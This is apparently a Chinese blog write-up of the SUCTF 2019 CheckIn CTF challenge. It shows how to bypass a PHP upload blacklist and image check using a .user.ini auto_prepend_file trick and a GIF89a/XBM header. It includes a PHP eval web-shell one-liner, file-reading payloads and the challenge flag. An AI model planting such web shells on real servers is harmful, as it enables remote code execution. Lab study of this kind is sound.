BUUCTF | [SUCTF 2019]CheckIn

知识点:

题目复现链接:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

利用.user.ini上传\隐藏后门

参考链接:user.ini文件构成的PHP后门

条件:

  • 1、服务器脚本语言为PHP
  • 2、服务器使用CGI/FastCGI模式
  • 3、上传目录下要有可执行的php文件

实例:上传.user.ini绕过黑名单检验

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg  //解析后进行包含

优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

绕过exif_imagetype()的奇技淫巧

#define width 20
#define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7

解题方法:

首先,构造一个.user.ini文件,内容如下:然后构造一个a.jpg,内容如下:

GIF89a                  
auto_prepend_file=a.jpg 

然后构造一个a.jpg,内容如下:

1 GIF89a
2 <script language='php'> @eval($_POST['pass']);</script>

然后将两个文件分别上传到服务器上,拿到回显:

在这里可以看到  uploads/33c6f8457bd77fce0b109b4554e1a95c 对应的文件夹下面有两个文件,一个是 .user.ini, 还一个是 a.jpg ,当然,还有一个 index.php 。那就可以构造URL了并用蚁剑连接一下:
 原地址/uploads/adeee0c170ad4ffb110df0cde294aecd/index.ph 

得出flag{877b66a3-cd3b-4a5b-b3c4-14c8e84c50c9}

注:本题连接问题蚁剑垃圾成功后打开不了文件,它会不时的清除文件,所以链接的不是很稳定,甚至有是时候连不上,但我们可以在网页执行命令。所以我第一次就是在页面执行了命令,找到了flag: 扫描根目录: a=var_dump(scandir("/")); ,我们可以可以看见一个叫flag的文件 打印: a=var_dump(file_get_contents("/flag")); 

posted @ 2020-07-01 15:48  SpouseLJ  阅读(909)  评论(0编辑  收藏  举报